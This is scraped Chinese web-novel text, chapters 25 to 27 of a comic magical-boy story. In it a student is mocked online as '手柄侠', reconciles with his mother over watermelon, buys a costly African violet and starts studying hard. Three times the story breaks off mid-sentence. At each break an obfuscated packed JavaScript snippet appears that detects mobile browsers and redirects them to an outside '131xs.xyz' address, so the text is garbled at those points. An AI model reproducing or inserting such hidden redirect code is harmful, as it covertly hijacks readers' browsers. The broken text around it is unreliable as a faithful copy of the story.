在确认最大伤情是自己的崴伤,连最小的温霁都只是被海水打湿了裙子后,他绷了许久的神经,总算放松了下来。 紧接着,腿一软,腰一松,屁股“PIA叽”一下就着了地。 这也难怪,毕竟刚刚除了战斗,他还搞了太多趟的“搬运”工作,而且在变身结束、超强体能Buff也消失了的情况下,他还绕了一个大圈子双脚,不对,是“1.5脚”徒步回来,一直撑到现在才倒下,纯纯是——算他厉害。 最后,是温朗全程背着他,先带他去医院看脚,之后又拉上温霁连夜坐上了回程的动车。 其实在民宿再住一晚也可以,反正这次的谵蘖对建筑的破坏近乎为零,最严重的损失,实际上也就是罗乐安自己放的那把火。 不过除了把几家店铺的外墙熏黑,里面并没有受到什么太大影响,并不影响使用。 然而不仅是温朗不放心,就连温朗舅舅也打算先把民宿关掉,等到事情调查清楚之后再开业。 于是常映月跟着任穗去了后者外婆家暂住,熊哲也提前结束了自己的打工生活,准备第二天就回家。 大概是因为海边出了乱子,临时改签行程的人不少,火车站里的人格外多,动车上更是摩肩接踵,要不是温朗当机立断第一时间买了票,他们三个也得站在车厢走道里人挤人了。 上车的时候已经是凌晨一点多,罗乐安和温霁刚坐下没多久就睡着了,东倒西歪的,两个人还时不时撞到一起,可就这样俩人也没醒,看样子是真的累坏了。 在这两颗脑袋第三次磕在一起后,坐在最外面的温朗实在是看不下去了。 他将温霁的椅子微微放倒,之后又把罗乐安的脑袋轻轻揽到自己肩窝处,见这人整个过程眼皮都没动,睡得极香,他轻叹了口气,落在对方肩膀上的手抬了起来,小心拨弄了一下眼前软塌塌的两根呆毛,眸色深沉。 罗乐安这一觉睡得特别沉。 梦里,他成了闻名世界的大英雄,殊不知在梦外,他的名头也在网上渐渐传开了。 就是不太好听。 25. JASMINE⑦ 不好听的点倒并不是名声。 而是称呼。 “手、柄、侠???” 由于前一晚实在是又累又折腾,罗乐安迷迷瞪瞪回到家之后,甚至都顾不上洗漱,一头扑倒在床上,直到第二天日上三竿,才因为肚子太饿,悠悠转醒——在他卧室的地毯上。 也不知道是怎么睡成这样的,不过大概率是发生在胡女士出门之后,不然自己肚子上高低得有来自母亲“爱的被角”。 说是醒了,其实真正解除休眠的只有他的眼皮,至于其他部分——他感觉自己整个人就像是没拼好的乐高,所有关节都没搭对,也因此根本就调动不了自己的身体。 等到他呻/吟着,终于将自己的身体零部件完全重组,成功从地上爬起来的时候,已经是午饭时间了。 昨晚汐语市海边发生的“集体梦游跳海自杀”大事件,经过了十几个小时的发酵,早在半夜就空降热搜,之后更是一直占据着热搜第一的位置。 各种传言沸沸扬扬,各种猜测众说纷纭。 不过有一件事网友们的意见倒是很一致,那就是对解决这次事件的那个神秘人的称呼。 「……这几家监控的画面虽然不清晰,但是在这几个特定的角度,我们还是能够清楚看到,这个神秘人使用的武器本体是一对游戏手柄,因此为了方便,我们之后就暂时称呼其为『手柄侠』……」 看着被营销号搬运剪辑了不知道多少手的视频,罗乐安只觉得窒息。 老天爷一定是个勤奋的小老头,不然也不会惩罚每一个睡懒觉的人。 他不就是多睡了一会儿吗? 怎么“圈名”就被人给篡改了呢! 翻开视频评论区,他想就“手柄侠”这个名字好好跟网友掰扯掰扯,奈何辟谣的黄金时间早就过去了,热闹的评论区说什么的都有,可就是,没人搭理他。 “请苍天!辨忠奸!啊啊啊啊啊啊——” 咆哮过后,罗乐安失去了全部力气,整个人瘫倒在沙发上,试图利用时间的力量,来消化这能把人噎死的消息。 而随着身体的逐渐脱力,右手上的“啪嗒”一下掉到了地板上,屏幕因手指的误触上划,进入到了下一个视频。 「……关于昨晚大闹汐语市海水浴场的『手柄侠』,主包仔细比对了监控,发现这人和不久前在湖灵市星光天地事件中出现的神秘人,很可能是同一人。」 听到这话,刚灵魂还在出窍的罗乐安,瞬间魂归原位,直接单脚从沙发上蹦了起来,捞起地上的手机,甚至都来不及坐下,专心致志地看起了视频。 既然暂时改变不了称呼,那就听听夸夸吧,也好尽快抚平自己内心的创伤。 嗯,乐天派的忧伤和烦恼,一向如此短暂。 只是,这个视频的走向,完全一丁丁点儿都没按照他预计的方向开展。 「……商场那次事件,主包就已经觉得这并不是简单的『超自然灾害』,而这次汐语市的事件,则是印证了主包的猜想——这的确是一场有预谋的炒作。所谓的『超级英雄』、『超能力者』这些都是噱头,监控视频的画面应该都是经过AI加工过,真相应该就是一种新型的旅游宣传策略,不过大概是没有排演好,所以才导致了『舞台事故』频繁发生……对于这种不负责任的营销行为,每一个有良知的人都应该站出来,大声说『不』!」 罗乐安:“……” 罗乐安:■皿■ 他现在体内交织着两股矛盾的情绪。 一股是“想要冲到屏幕那边把营销号爆cei一顿”的愤怒,一股是“就这样吧爱咋咋地他只想去shi”的无力。 而且这还只是最浅层的痛苦,评论区那些铺天盖地的认同,才是压死青春男高的一根又一根的稻草。 手机里的视频还在循环播放,听到“大声说不”这几个字的时候,罗乐安只想大声喊“呸!”。 胡女士推门进来的时候,看见的就是那个自己不省心的好大儿,金鸡独立站在客厅中央的诡异一幕。 瞪得溜圆的眼睛,黑漆漆的瞳孔,其中还时不时闪过宇宙大爆炸的硝烟…… “怎么的?你这是不能出屋想要起义吗?” 她将肩上的相机包随手丢到玄关地板,趿拉着拖鞋去厨房拿了半个冰镇西瓜出来,见罗乐安还维持着刚刚的姿势,下意识伸出手指,点了点对方的额头。 然后就见先前还跟蜡像似的人终于活了,期期艾艾地向后一倒,活像一只委屈小狗。 “怎么了这是?” 见他表情这么难看,胡女士以为是他脚又疼了,忙把西瓜放到小几上,蹲下身将他的左脚捞了起来。 “又难受了?这么严重吗?用不用再去医院看看?” 这还是母子二人不欢而散后,第一次恢复亲密。 罗乐安有些不好意思地蜷缩了下脚趾,面上原本还想维持高冷,结果前前后后累积的委屈叠加在一块儿在这个时候不受控制地开始涌动,还是让他不自觉地鼻头发酸,眼眶发红。 “没事,”他揉了揉鼻子,声音却还是有些瓮声瓮气,“阿朗带我去过了,医生说没伤到骨头,静养几天就能好。” “……哦,那行,没事儿就行。” 确认脚伤没恶化后,胡女士也有些尴尬地用手背揉了揉鼻子,起身抱着西瓜回了厨房,一分钟后又端着两个分别装着四分之一个西瓜的盘子回来。 “喏,吃瓜。” 做儿子的默默接过西瓜,然后母子二人单侧曲腿坐在沙发上,开启了同步吃瓜模式。 而且还是声卡损坏限定版。 不过才吃了没几口西瓜,胡女士的“声卡”就先一步修好了。 “我看到新闻了。” “……唔?” “也听小朗说了大概经过。” “……哦。” “害怕吗?” “……啊?” 罗乐安抱着西瓜,仰脸眨了好几下眼睛,才反应过来胡女士问的是什么。 “没什么可怕的……” 他低下头,嘟哝着讲了好几遍的谎言:“我都不知道发生了什么,也没溺水——要不是回去找人的时候被小朋友撞到,我连脚都不会崴。” “那就好……” 胡女士说完,“声卡”就又故障了,开始埋头专心吃瓜。 这轮沉默持续了大概五分钟,最后先破冰的是罗乐安。 “妈。” “嗯?” “你这次……没怀疑我……哦?” “……呵!” 冷笑过后,胡之桃把消失了一半的西瓜放回到小几上,转头看向自己还嘟着嘴的好大儿,正色道:“乐乐,‘拯救世界’并不只是轻飘飘四个字那么简单的。我之前怀疑你,是因为你投入了太多关注在这个上面,我是担心你受伤。可这次你自己都是受害者了——我是你妈,不是那种你都受伤了还不忘‘拷问’你的阶级敌人,再把我想的那么无情,我可是真的真的会生气,哦!” “咳,我,我没那么想……” 虽然胡女士的态度和亲切一点都不沾边,可听完这番话,罗乐安的心情却美丽了不少。 “胡女士,别生气嘛~来,我喂你吃西瓜,啊——” 瞧见他谄媚的模样,胡之桃的冷脸也绷不住了,咽下求和西瓜后,她也又恢复了往日极度松弛的状态。 “当然了,还有最重要的一点。” “啊?” 罗乐安嘴里叼着勺子,眼神澄澈地等待下文。 然后他就听到自己母上大人用嘲讽的语气跟他解释。 “你好歹是我胡之桃的儿子,如果那个‘手柄侠’真的是你,解决这么个小问题还能受伤,未免也太没用了。” “……” 原来,被夸的同时还被骂,是这种感觉。 以及,“手柄侠”这个名字,真的是——太!难!听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16148715|176346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !了! 他要设计一个炫酷的Pose! 下一次,下一次他一定要好好登场,把自己真正的名号打出去! 母子俩的心结算是暂时解开了,罗乐安没继续追问监管局对自己魔法使马甲的调查进度,而胡女士自然也不会主动提起,所以两个人之间还是很和谐有爱的。 可以说是一“瓜”泯恩仇了。 只是接下来的暑假时光,就没办法像人与人之间的关系那般和谐了。 由于罗乐安伤了脚,所以接下来的一个周他都只能待在家里,每天安分等待“补习老师”温朗□□。 活动范围被限定在家里的几个房间,去到的距离自由最近的地方,就是自己房间外面,那个连接温朗房间的阳台。 当然了,翻栏杆的行为是不可能发生的,他最多也就只是隔着栏杆,呼吸一下外面的空气。 这可是吸一口就能让人五分熟,每年八月才会出现的“限定版”空气,且吸且珍惜。 这种除了学习再没有其他任何成分的、纯粹的生活,罗乐安过了足足一个周。 其实也不能说得那么单一,毕竟在此期间,他偶尔也能偷着看看漫画,打打游戏,也会跟任穗她们几个人聊聊八卦,在线上讨论一下海边的遭遇。 只是其他当事人们都没记忆,唯一清醒的温朗又选择保持沉默,所以讨论结果也都和网上大差不差,几次之后就没什么兴致了。 最后,直到开学前三天,医生确认左脚踝彻底好了,他才终于被允许出门溜达,从笼养鸡晋升为走地鸡。 考虑到没几天他就要正式进入“高三地狱”了,胡女士也就没再拘着他,给了他三天自由,就当是上刑场前提供的“豪华断头饭”了。 罗乐安自己也很清楚,此刻的自由是入夜前的最后绚烂,现在有多喧嚣,之后就会有多沉寂。 但那又怎么样呢? 这种情况,对于每一个(除了温朗这类学霸学神之外的)高三生来说,都一样。 所以与其哭天抢地,不如痛快接受。 就是他的接受方式,让温朗大跌眼镜。 “图书馆?你是说明天要去图书馆?你是说你要在好不容易盼来的假期这天,去图书馆?” 饶是冷静如温朗,在听到罗乐安的计划后,也忍不住发出了“震惊三连”。 “圆那个函数你今天不是没讲完吗?我看没剩多少了,干脆全都学完了,省得闹心。” 见温朗只顾着震惊,迟迟不出发,罗乐安一边解释,一边轻轻踢了对方一脚,横坐到了车后座上。 “快走啦,热死了!” 听到他的催促,温朗没再多说什么,跨上自行车,从社区诊所往家的方向骑去。 只是罗乐安这番操作到底还是太过反常,在骑到家楼下后,他还是没忍住,委婉地开口询问道:“乐乐,你是不是有什么心事啊?” “噗!” 罗乐安扑哧一笑,圆圆的眼睛都弯成了月亮,“你真正想问的是我到底是不是吃错药了才对吧?” “因为……真的不太像你的作风,我有点担心你是不是压力太大了。” 温朗所言非虚,他眉头蹙起,看向罗乐安的眼神的确是充满了担忧的情绪。 “哎呀,没什么事,你放心~” 嫌弃太阳太晒,罗乐安拉着温朗躲进了楼道。 “我其实还想给胡女士买盆花,所以准备顺便去桑叔的园艺馆逛逛。” 桑叔?园艺馆? 温朗微微眯起眼睛,“你不是说眯眯眼都是怪物吗?” “可是……他家的蛋糕好吃呀~” 说着,罗乐安头顶的大毛“腾”一下站直了。 “……” 看着他两眼放光的模样,温朗叹了口气,又无奈笑笑。 “我现在确认了,你的确是没被换芯。” “……阿朗你真吐艳!我要代表广大学渣,鄙视你!” 26. CARNATION① “今天的甜品是芒果舒芙蕾,饮品是杨枝甘露,可以吗?” “可以可以!相——当可以!” 罗乐安瞧着面前托盘里摆盘精致的甜点和饮品,嘴角夸张地咧到耳根,暂时还年轻而健康的颈椎疯狂地上下摇摆,速度之快隐约都能看到重影,活像是开了十倍速的招财猫。 “呜呜呜~桑叔,你这手艺不开甜品店,真的是太!可!惜!了!” 吃了一口蛋糕,他幸福地眯起眼睛,真心实意地劝桑榆竹改行。 后者被这提议逗笑了,弯了弯眼睛,将另一杯加了double芒果的杨枝甘露放到了温朗面前,而后冲着罗乐安开口道:“你喜欢就足够了,专门做蛋糕的话太累了,还是养养花更轻松,适合我。” 说罢,他又转头看向温朗。 “先前的心叶榕和合果芋怎么样?好养吗?” “长得很好。” 温朗闻言,放下杯子点点头:“也很好养,我妈总是忘记浇水,没想到非但没死,还长了新叶子。” 听到这话,桑榆竹点点头。 “那就好,温同学你可以加我微信,有问题直接找我就好——对了,罗同学也可以加我,这样你之后要是过来,可以提前跟我说喜欢吃什么,我要是会就给你做。” “谢谢桑先生。” “真的呀?谢谢桑叔~~~对了,桑叔你叫我乐乐就行,身边人都这么称呼我,亲切~” “好,那我之后就叫你乐乐,快吃吧,冰淇淋化了就不好吃了。” “好哒~” …… 把舒芙蕾上的糯米冰淇淋球吃完后,罗乐安在室外累积的燥热终于得到了缓解,他也终于有心思关注别的地方了。 “话说桑叔,小一个月不见,你这店里的风格……变化好大啊!” 其实是大,简直就是翻天覆地。 如果说之前是极繁主义,那现在走的就是极简风,不是清冷风。 店里原本被各种绿植花卉挤出的若隐若现的“羊肠小路”,翻身一变,成了明亮整洁的“康庄大道”。 原本布满枝叶的墙壁也只剩下零星几棵绿萝,取而代之的是几幅装饰画。 可以说是完全换了家店一样。 要不是地上的地砖花色和头顶的吊灯款式没变,他都以为桑叔这些天把店砸了重新装修过。 “天越来越热了,这样更清爽。” 听到桑榆竹的解释,罗乐安重重点点头,深表同意。 不只是视觉的清爽,更是听觉的清爽。 而且在经历了两次跟谵蘖的战斗后,他更看重的还是——安全感。 不过尽管他心里对植物有了一定程度的戒备,却也还是不影响他此行的主要目的。 “桑叔,有啥不占地儿植物吗?能开花的那种。” 他之前说要买花并不是借口,他是真这么打算的,毕竟胡女士也的确是喜欢花,把她哄高兴了,对自己就能更宽松,相应的,未来的日子也就能更好过一些。 “有什么具体要求吗?” “就是养在室内光线一般的地方也能开花。然后花一定要好看,明艳一些,胡女士——我是说我妈她是颜控,所以花花还是不能太草率。还有还有,最好也是像阿朗买的那种,抗造一些,扔在那儿不管也不会死。” 这个要求可以说是真诚中透着敷衍,认真里掺着随意。 很符合一个对老妈有清晰认知的亲儿子人设。 可桑榆竹不能用同样的态度对待这个要求。 “那看看这个符不符合你的要求。” 说着,他转身从附近的一个小架子上拿过一个只有半个巴掌大小的花盆。 “虽然花叶小巧并不繁茂,但是花很漂亮,体型也不大。浇水的话没有纯绿植那么抗旱,不过除了夏天需要稍微注意别太干,其他时候还算抗旱。” 矮油? 没想到自己提的要求那么矫情,竟然也真的能找到合适的! 罗乐安顿时对这盆小花花充满了兴趣。 他探身去观察桑榆竹手里的植物,用小巧玲珑来形容已经不太够了,更准确的描述应该是——迷你。 整个植株低矮紧凑,圆卵形的叶片表面,覆盖着一层细密的绒毛,宛如天鹅绒一般。 五厘米左右冠幅的莲座状绿叶之上,盛开着一朵淡紫色的重瓣小花,在绒面质感的叶片衬托下,灵动又雅致。 低调,却也耀眼。 明明是有些矛盾的气质,却又和谐地体现在同一株植物上。 “好可爱~桑叔,这个是什么呀?” 伸手将小盆栽接过来后,罗乐安举到温朗面前跟他一起欣赏。 “是非洲堇。” 桑榆竹轻轻拨弄了一下那朵精致的小花,而后转身又拿了几盆花过来。 “这种花不建议用很大的盆,最多也就十厘米的口径,所以非常不占地方。这里还有其他的品种花色,你可以看看有没有特别喜欢的。” 罗乐安闻言,扭过头仔细挑选,最后在一堆单瓣重瓣、粉色蓝色的花朵里,还是选择了最开始的那棵淡紫色重瓣。 毕竟胡女士是一身紫的蓝莓酱,应该会喜欢紫色系的花花吧。 而且这棵花的花盆上还有鸢尾花的浮雕,对此肯定也会很满意哒~ “就它啦!多少钱?麻烦桑叔帮我用礼袋装起来~” “好的,一共是一千一百六十八元。” “袋子最好是紫色……等会儿!夺少钱?!” “一千一百六十八元。” 桑榆竹依旧是温和的眯眯眼,对于罗乐安的反应,既没有在意,也没有看轻。 “这、这这——这么贵吗?!” 罗乐安用拇指和食指比划着,“它它它明明就这么小,就这么一啾咪……” “花其实没多贵,主要是这个花盆。进口的手工盆,用料是来自托斯卡纳山脉的优质粘土,而上面的浮雕都是纯手工打造的,每一个都是独一无二,所以价格也就贵一些。” 贵一些? 这只是贵——一些?! 看到罗乐安眼睛都瞪圆了,桑榆竹嘴角微扬,贴心地提议道:“我帮你换个别的花盆吧,我这里物美价廉的好看花盆还有很多呢。” “……不用。” 深吸一口气后,罗乐安盯着花盆上的鸢尾浮雕,咬牙拒绝了对方的提议。 “就维持这样,麻烦,帮我,装起来。” 他坚持到桑榆竹离开去帮他打包,终于撑不住了,顶着一双荷包蛋泪眼,悲愤地看向温朗。 嘴唇颤抖,两只手也不受控制地比比划划,实在是太像一个癫痫病发的患者。 然而尽管如此,温朗也明白了他的意思。 “放心,”他握住罗乐安的手,安慰道,“不够的钱我借你,你也不用着急还,别哭别哭。” 听到这话,罗乐安抽了好几下鼻子,终于把眼泪压了回去。 “阿、阿朗……还好有你,呜呜呜……胡女士何德何能啊……” 温朗听着这番大逆不道的发言,忍了又忍,终是没忍住笑意,嘴角止不住地上扬,伸手揉了揉对方毛茸茸的脑袋。 等到他们两个拎着天价花花出了园艺馆时,罗乐安的情绪已经平稳了很多。 一是因为抖累了,还有一点,则是因为他觉得这盆花还是值得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16166313|176346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的。 「非洲堇具有灵性和保护的能力,鸢尾三枚竖起的旗瓣则象征着信仰、智慧和勇气,所以这盆花真的非常适合放在家里,我想你母亲一定会很喜欢你送她的礼物的。」 想起离开前桑榆竹的话,罗乐安在将这盆非洲堇摆到胡女士卧室的窗台上时,没忍住拜了拜。 “保佑我,下个月的零花钱能涨得多一点。” 「它应该不负责金钱运。」 丧丧的声音突然从胸前传出,吓了他一大跳。 “我的天啊!竟然还能有你主动开口的一天——丧丧你该不会在外面给我捅娄子了吧?” 「……我不是你。」 这是比丧丧主动开口说话更难得的吐槽,罗乐安更惊了,正准备采访一下,遗憾的是对方先他一步更换了语言处理器。 「这株植物的能量很强,你不担心它变成谵蘖吗?」 唔? 怎么突然就说正经事,真无趣! 罗乐安歪了歪脑袋,嘟着嘴巴回道:“放心,这个问题我早就考虑过了,不会有事的。你不是说过吗?谵蘖是受异常能量寄生的植物,只是这个家里有你,有我,还有胡女士,如果三个魔法生物——emmm,应该是这么称呼吧?算了,不管了——都察觉不到异常能量的话,那干脆还是放弃拯救地球得了。” 再怎么说,家里也有两个魔法少n……咳,魔法使,要是被区区一小盆花给吓到,那也太没用了。 当务之急,还是想办法恢复自己负债累累的状态。 于是,他又拜了一次。 “保佑我,下个月的零花钱翻三倍!” 可惜的是,非洲堇和鸢尾花用时间证明了自己的确不负责财运的事实,当然,也不排除他许愿的时候狮子大开口把花给吓着了这一可能。 总之,接下来的两个月——特别是八月份仅剩的这几天——他过得相、当、拮、据。 “乐乐,你饿不饿啊?要不要去买关东煮?” 连上两节数学课后,高三(16)班终于迎来了大课间。 作为高三生,唯一的好处大概就是课间操的豁免权了,大部分学生都会趁着这个时间去磕个“红蓝药”恢复体力和精力,任穗自然也不例外。 “快点快点,晚了的话咱俩最爱的鱼籽福袋就卖没了!” 她一边说,一边疯狂摇晃萎靡趴在课桌上的罗乐安。 后者像一根商场门前的充气小人一样,晃成了波浪线,导致声音也断断续续的。 “不不不去了了了……我我我不饿饿饿……而而而且热热热……” “好好好,不去就不去,但是也不要恶意卖萌嘛,乐乐~” 看着任穗挽着常映月离开,罗乐安一手捂着胃,叹了口气,重新趴回到桌子上。 认真理了九十分钟的xyz的复杂关系,他怎么可能不饿呢? 只是苦于囊中羞涩,他手头能吃的只有从家里带来的苹果——可这东西越吃越饿,不到万不得已,他是不会碰的。 “万岁!!!” “终于可以休息了,我这老胳膊老腿哦……” “哇,雪糕!老牟,你是我的神!我将永远追随你~~~” 窗外传来一阵雀跃的欢呼声,他苦着脸探头一看,就见不远处的行道树阴下,一群还天真的高一新生,刚结束了第一阶段的站军姿,正坐在地上等待班主任投喂雪糕。 真好。 罗乐安脑袋搭在窗户边上,嘴角流出晶莹的眼泪。 而就在他考虑要不要执行“冲出楼假装新生以此混一根雪糕”这种无耻计划的时候,就被人打断了。 “罗乐安,有人找——” 27. CARNATION② 有人找他? 难不成昨天的地理卷子错太多,小高老师又要给他开小灶了? 不是吧! 罗乐安眨眨眼,惊恐地将脑袋从窗台上飞快挪了回来,扭头看向前门,就见一个高挑帅气的身影正站在门外,看到自己视线转过去,还愉悦地挥了挥手。 呼。 还好,是温朗。 确认不是要被叫去办公室补课,罗乐安连呼吸都轻快了许多,一蹦一跳地去到门口,头顶的呆毛们也一弹一弹的,特别是大毛,格外活跃。 “阿朗,你找我呀?有什么事吗?” 他一边问,鼻子一边不自觉地嗅了嗅,总觉得闻到了香香的味道。 而下一秒,就见温朗变出了一杯关东煮,里面有他喜欢的萝卜、香菇和油豆腐,当然还有他最爱的鱼籽福袋。 “饿了吧?我一下课就去排队了,你喜欢的都有,吃吧,小心烫,汤可以晾一晾,等上课前再喝。” “阿朗……”罗乐安接过关东煮,泪眼汪汪,“你就是我的神!” 说着,他就往嘴里塞了一大油豆腐,搞得腮帮子鼓鼓囊囊的,活像一只小仓鼠。 “你都不知道胡女士有多过分……miamiamia……明明之前还说那盆非洲堇深得她意,结果……miamiamia……结果我刚委婉地提了一句价值不菲……miamiamia……她就翻脸不认花了,非说一般!” 看他吃得香,温朗扬起嘴角,伸手揉了揉对方毛茸茸的脑瓜顶。 “这样吧,到你下个月发零花钱之前,加餐都我请好了。” “尊、尊嘟吗?!” 一边啃萝卜,罗乐安一边惊喜地瞪圆眼睛,“氮素……酱紫是不是不太好呀……” “没关系,反正我自己也要吃,多你一个人而已,你再能吃,能有熊哲的胃口大吗?” 那可是一顿饭可以吃五碗大米饭的神奇存在啊! “噗……” 罗乐安没忍住一个扑哧,嘴里的香菇差点飞出来,还好他及时用手捂住。 可是尽管狼狈,他还是忍不住咧嘴傻乐。 原来,这就是傍大款的感觉吗? 竟然!如此!快乐! “那我就不客气地蹭吃蹭喝啦~你放心,我一定会尽快还你钱的!” “没事,不用急,其实不还也可以。” “不行不行,要还的。” 将嘴里的福袋咽下去之后,罗乐安郑重其事地说道:“亲兄弟还要明算账呢,这可是为了我们的友谊长存~” “那要不然这样吧,我们打个赌,你答应并做到我要求的一件事,欠款就减半,怎么样?” 一听这话,大毛和二毛“腾”一下立直了,比罗乐安本人的反应还要快。 “真的吗?没问题!我答应!” “你都还不知道是什么事就答应啊。” “什么事我都答应,反正阿朗不会让我做什么伤天害理的事情~” “那确实。其实我的要求很简单的,只要你这个月月底的月考总分,可以提高到五百二十分以上就可以。” “没问……你说啥?!” 最后,罗乐安还是为三百块钱“折腰”了,答应了温朗的要求。 只是口头答应很容易,可想要真正实现,那难度,可谓是相——当大。 他开学前的自测成绩在470分上下,比刚放假的时候进步了大概有50分,距离520也同样就只有50分,乍一看这个目标实现起来并不会有多困难。 然而,现在的成绩是他努力了一个暑假才取得的结果,如今距离月底也就三个星期的时间,想要再进步50分…… 天啊! 可不可以让他的小学老师来出月考题啊! 感觉这是唯一可行的方法了! 任穗她们俩回来的时候,见到的就是罗乐安疯狂用脑袋“敲木鱼”的一幕。 “小月,”她抓住常映月的胳膊,小脸紧绷,眼睛瞪得溜圆,“你说,乐乐这会不会是汐语市那事儿的后遗症啊?因为记忆缺失,导致大脑皮层受到刺激,所以才会时不时就会出现这种让人难以理解的举动。” 说到这里,她稍作停顿,而后转脸看向常映月,整张脸眼睛里流露出惊恐。 “小月,该不会之后我们也会这样吧!每天用脑壳‘加功德’什么的……天呐!如果真是那样,那我得提前准备一个头盔才行!” “放心,不会的。” 常映月很淡定,顺手拿起罗乐安桌子上的一个帕恰狗玩偶,垫在了对方的脑门下面,成功将正在高速运转的乐乐牌“锤头机”卡住暂停。 “他大概是受了什么刺激。” “刺激?” 一听到有八卦,任穗瞬间就不怕了。 她凑到罗乐安跟前,两只手扒住课桌边边,探出脑袋活像一只小地鼠。 “乐乐,你失恋啦?” 听到这话,罗乐安维持着头与桌子亲密接触的体位,将脸转向任穗,瞪着死鱼眼,用“▼-▼”的眼神看向对方。 “……” 明明他一句话都没说,可任穗莫名感觉到了很强的压迫感,不由得挠了挠头发。 “咳,肯定不是,咱俩认识这么多年,从来没见你喜欢上什么三次元的人——那就是……有人跟你表白了?” ▼_▼:“……” 任穗明显没注意到罗乐安下撇的嘴角,还在自顾自地进行着“菜鸟侦探”的推理秀。 “是谁?是谁要把你从麻麻身边抢走?难道是对门十八班的那个‘小风筝’吧?还是四班的语文课代表?该不会……” 嘀嘀咕咕的声音实在是扰人,而且内容也越来越离谱,罗乐安实在是听不下去了,叹了口气,将脑袋转到另一边,把后脑勺留给任穗。 也因为这突然的动作,让他没有听到对方更加离谱的后半句。 “……该不会,是温朗吧?” 顺嘴将最大胆的猜想秃噜出来,然后任穗就看到一直没反应的罗乐安突然在这个时候转头。 而这一出在她眼里,活脱脱就是在逃避问题。 天啦噜! 难不成……她真的猜对了? 怪不得乐乐会烦恼成这样,换成她,反应只会更激烈,肯定不会是撞几下桌子就能好的。 你想想,好端端的,兄弟突然变老公——要是小月突然跟自己告白……不对不对,现在不是想这些的时候啊喂! 当务之急,是得转移一下“为情所困”的罗乐安的注意力。 可是,说点什么好呢? 死脑,快点想啊! 任穗脑袋一时短路,只好再次抓住常映月的胳膊,向对方投去了求助的目光。 后者其实不是很清楚自己闺蜜在刚刚两三秒里,到底都脑补了些什么东西,但是对方的眼神里的求助信息她倒是get到了,想了想,她开口问道:“乐乐,后天放假,去‘耶耶万岁’撸狗吗?” 顿了一下后,她又补充了四个字,“穗穗请客。” “啊?”突然被“委以重任”的任穗反应不及,愣了一下才急忙点头,“啊,对对对,我请客我请客!乐乐你还想吃什么,我……一起都请了!” 要是放在以前,罗乐安听到这话一定会跳起来,用尽全身上下所有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16186230|176346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的细胞占便宜。 然而这一次,常映月难得说出的长句和任穗的阔气都没有打动他。 就见他抬起脑袋,坐直身子,虚空的眼神终于聚焦。 “我不去了,”他摇摇头,同时拿起手边的英语报纸,低下头开始做题,“我要好好学习,天天向上,自强不息,奋发图强!” 任穗:“……Σ(°△°|||)” 常映月:“……(⊙o⊙)” 两个女生对视了一眼,不止是任穗,连常年没什么情绪波动的常映月,眼里都涌现出了不可置信的情绪。 完了完了完了! 乐乐真的疯了! 这哪里受到刺激,这根本是创伤应激! 然而闺蜜二人对此也毫无办法,既不敢挑明造成二次伤害,又想不出什么其他的招儿,就只能看着罗乐安一天天进化成“学习机”。 唔,知识储备可能还达不到,可那也是“学习机器”。 总之,原本任穗她们还以为罗乐安的状态顶多维持个一两天,却没想到这邪门的鸡血打了足足半个月,高一新生都已经结束了军训回到东校区了,他上头,不,是如同鬼上身一般的状态还没结束。 连胡女士都觉得不对劲了。 “乐乐,你最近……好用功啊。” 高三生难得放假的日子,胡女士也难得贤惠,煲了一锅雪梨银耳汤,端了一碗去了罗乐安的卧室。 然后她就看到自己的好大儿坐在桌前,既没玩游戏,也没看漫画,而是乖乖地在做数学卷子。 非常地勤奋好学。 这一幕,胡之桃盼了十几年都没盼到,如今真见着了,她反而觉得心里慌慌的。 毕竟是从自己肚子里出来的娃,什么德行她最清楚,从小到大,“学习”之于罗乐安,一直是属于“人不犯我我不犯人”的隐性敌对关系,可以说就算是让他一天三顿苦瓜汁,他都不可能会主动学习。 一开始,她听到温朗说起的时候,还不怎么相信。 但如今,在这种主动已经持续了十几天的情况下,她是彻底相信,罗乐安病了,而且还是大病。 “先休息会儿,喝点银耳汤。” 听到胡女士的话,罗乐安从数列的世界中抽离,满眼尽是生不如死。 他接过汤碗,喝了一口后脸色终于好看了些,“谢谢胡女士。” “跟你亲妈这么客气做什么~” 胡女士坐在床边,象征性地打量了一下房间,然后问道:“乐乐啊,是不是遇到什么烦心事了?学校里有人欺负你了吗?还是你有喜欢的人了?跟妈妈说说,妈妈很开明的,绝对不会棒打鸳鸯。” “……” 罗乐安放下碗,脸上写满了无语。 “你怎么跟老穗一样这么喜欢脑补这些有的没的,放心,你儿子从小到大除了你,还没受过别人欺负呢,自信一点啊,胡女士。” “……别岔开话题,特别是别用打趣你妈来岔开话题——说,到底怎么个事儿!” 